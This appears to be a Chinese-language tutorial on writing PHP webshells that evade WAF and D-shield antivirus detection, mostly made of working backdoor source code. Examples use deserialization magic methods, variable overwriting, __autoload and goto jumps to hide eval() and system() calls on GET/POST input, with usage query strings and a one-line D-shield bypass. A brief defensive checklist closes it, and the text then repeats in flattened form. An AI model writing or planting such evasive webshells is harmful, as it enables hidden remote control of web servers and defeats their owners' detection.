从漏洞与ctf中学习webshell的免杀
字数 983 2025-08-06 21:48:51

PHP Webshell免杀技术深度解析

0x00 前置知识

PHP漏洞在Webshell中的应用

PHP中可用于Webshell构造的漏洞类型包括:

  • 反序列化漏洞
  • 变量覆盖漏洞
  • 代码执行漏洞
  • 文件包含漏洞

反序列化在Webshell中的利用

反序列化漏洞通过PHP的16个魔术方法实现Webshell功能,但需要注意:

  • 某云WAF会检测"加载自定义类"和"类的实例化"这两个特征
  • 污点追踪经过这两点路径就会被检测

反序列化Webshell示例

<?php 
class A {
    function say() { echo "xxxx"; }
    public static function __callStatic($func, $arr) {
        $c = array_shift($arr); 
        eval($func.$c);
        $a = $_GET['a']; 
        $c = $_GET['x']; 
        
$$
a = $c; 
        $d = substr($cbc, 0, 2); 
        $e = substr($cbc, 2); 
        $app = new A();
        $app::$d($e);
    }
}
?>

使用方法:?x=phpinfo();&a=cbc

变量覆盖漏洞利用

简单示例

<?php 
$a = $_GET['x']; 
$b = $_GET['y']; 

$$
a = $b; 
eval($xss); 
?>
<!-- ?x=xss&y=phpinfo(); -->

0x01 实际测试案例

案例1:简单免杀绕过D盾

初始代码

<?php 
header("Content-Type:text/html;charset=utf-8"); 
class A {
    private $b = 'aa'; 
    public $c = 'xx'; 
    public function __get($c) {
        eval($c); 
        if(md5($_GET['m'])==='62888be80bab8996808b3ea1a07954fa'){
            $app = new A(); 
            $app->$_POST['x']; 
        } else { 
            print("no!no!no!"); 
        }
    }
}
?>

绕过方法:添加$m = $c;这一行即可绕过D盾检测

案例2:CTF实例绕过

CTF题目分析

<?php
class ctfShowUser {
    private $username = 'xxxxxx';
    private $password = 'xxxxxx';
    private $isVip = false;
    private $class = 'info';
    
    public function __construct() {
        $this->class = new info();
    }
    // ...其他方法
}

class info {
    private $user = 'xxxxxx';
    public function getInfo() {
        return $this->user;
    }
}

class backDoor {
    private $code;
    public function getInfo() {
        eval($this->code);
    }
}
?>

利用方法

  1. 构造反序列化payload
  2. 通过cookie传递序列化数据
  3. 访问URL:/?username=1&password=2

案例3:使用__autoload函数

示例代码

<?php
header("Content-Type:text/html;charset=utf-8");
class A {
    public $a;
    public function __construct($a) {
        $c = $a;
        if(strlen($a)>2){
            $this->a = $c;
            eval($this->a);
            print('xxx');
        } else {
            print("NONONO");
        }
    }
}

function __autoload($className) {
    $b = $_GET['a'];
    new A($b);
    print($className);
    print('xx');
}

$filePath = "cs.txt";
if(is_readable($filePath)) {
    require($filePath);
    if(1) {
        $a = new abc();
    } else if(0) {
        $a = new A();
        $b = new B();
    }
}
?>

使用方法:?a=phpinfo();

0x02 高级免杀技术:goto函数利用

goto函数基础

PHP中的goto操作符:

  • 用于跳转到程序中的另一位置
  • 限制:不能跨函数/类方法,不能进入循环/switch结构
  • 常用于代替多层break

Webshell实现

基础版本

<?php
header("Content-Type:text/html;charset=gbk");
test4:
error_reporting(0);
goto test1;

test2:
if($m == NULL){
    print('NO');
} else {
    $m($l);
    $o();
}
goto test3;

test1:
$l = $_GET['x'];
$l = base64_decode($l);
goto test2;

test3:
$m = $_GET['m'];
$o = $_GET['o'];
goto test4;
?>

使用方法:?x=aXBjb25maWc=&m=system&o=exit(x参数为base64编码的命令)

增强版本(支持Webshell管理)

<?php
header("Content-Type:text/html;charset=utf-8");
test4:
error_reporting(0);
goto test1;

test2:
if($l == NULL){
    print('NO');
} else {
    print('OK');
    eval($l);
    $o();
}
goto test3;

test1:
$l = 'x';
$l = 
$$
l;
print($l."ll");
goto test2;

test3:
$m = $_GET['m'];
$x = $_POST['y'];
$o = $_GET['o'];
goto test4;
?>

特点:结合变量覆盖技术,增强免杀效果

0x03 总结与防御建议

免杀技术要点

  1. 组合拳策略:结合多种技术(如反序列化+变量覆盖)
  2. 非常规函数利用:如goto、__autoload等
  3. 变量混淆:通过变量覆盖、间接引用等方式干扰WAF检测
  4. 执行流程控制:使用跳转、循环等改变代码执行路径

防御建议

  1. 代码审计:人工审计仍是检测高级Webshell的最有效方法
  2. 多层防御:结合静态检测、动态检测和行为分析
  3. 输入过滤:严格过滤所有用户输入
  4. 最小权限原则:限制PHP执行权限
  5. 监控异常行为:如eval、system等危险函数的调用

Webshell免杀与检测是持续对抗的过程,理解WAF工作原理和PHP语言特性是开发有效防御措施的关键。

PHP Webshell免杀技术深度解析 0x00 前置知识 PHP漏洞在Webshell中的应用 PHP中可用于Webshell构造的漏洞类型包括: 反序列化漏洞 变量覆盖漏洞 代码执行漏洞 文件包含漏洞 反序列化在Webshell中的利用 反序列化漏洞通过PHP的16个魔术方法实现Webshell功能,但需要注意: 某云WAF会检测"加载自定义类"和"类的实例化"这两个特征 污点追踪经过这两点路径就会被检测 反序列化Webshell示例 : 使用方法: ?x=phpinfo();&a=cbc 变量覆盖漏洞利用 简单示例 : 0x01 实际测试案例 案例1:简单免杀绕过D盾 初始代码 : 绕过方法 :添加 $m = $c; 这一行即可绕过D盾检测 案例2:CTF实例绕过 CTF题目分析 : 利用方法 : 构造反序列化payload 通过cookie传递序列化数据 访问URL: /?username=1&password=2 案例3:使用__ autoload函数 示例代码 : 使用方法: ?a=phpinfo(); 0x02 高级免杀技术:goto函数利用 goto函数基础 PHP中的goto操作符: 用于跳转到程序中的另一位置 限制:不能跨函数/类方法,不能进入循环/switch结构 常用于代替多层break Webshell实现 基础版本 : 使用方法: ?x=aXBjb25maWc=&m=system&o=exit (x参数为base64编码的命令) 增强版本(支持Webshell管理) : 特点:结合变量覆盖技术,增强免杀效果 0x03 总结与防御建议 免杀技术要点 组合拳策略 :结合多种技术(如反序列化+变量覆盖) 非常规函数利用 :如goto、__ autoload等 变量混淆 :通过变量覆盖、间接引用等方式干扰WAF检测 执行流程控制 :使用跳转、循环等改变代码执行路径 防御建议 代码审计 :人工审计仍是检测高级Webshell的最有效方法 多层防御 :结合静态检测、动态检测和行为分析 输入过滤 :严格过滤所有用户输入 最小权限原则 :限制PHP执行权限 监控异常行为 :如eval、system等危险函数的调用 Webshell免杀与检测是持续对抗的过程,理解WAF工作原理和PHP语言特性是开发有效防御措施的关键。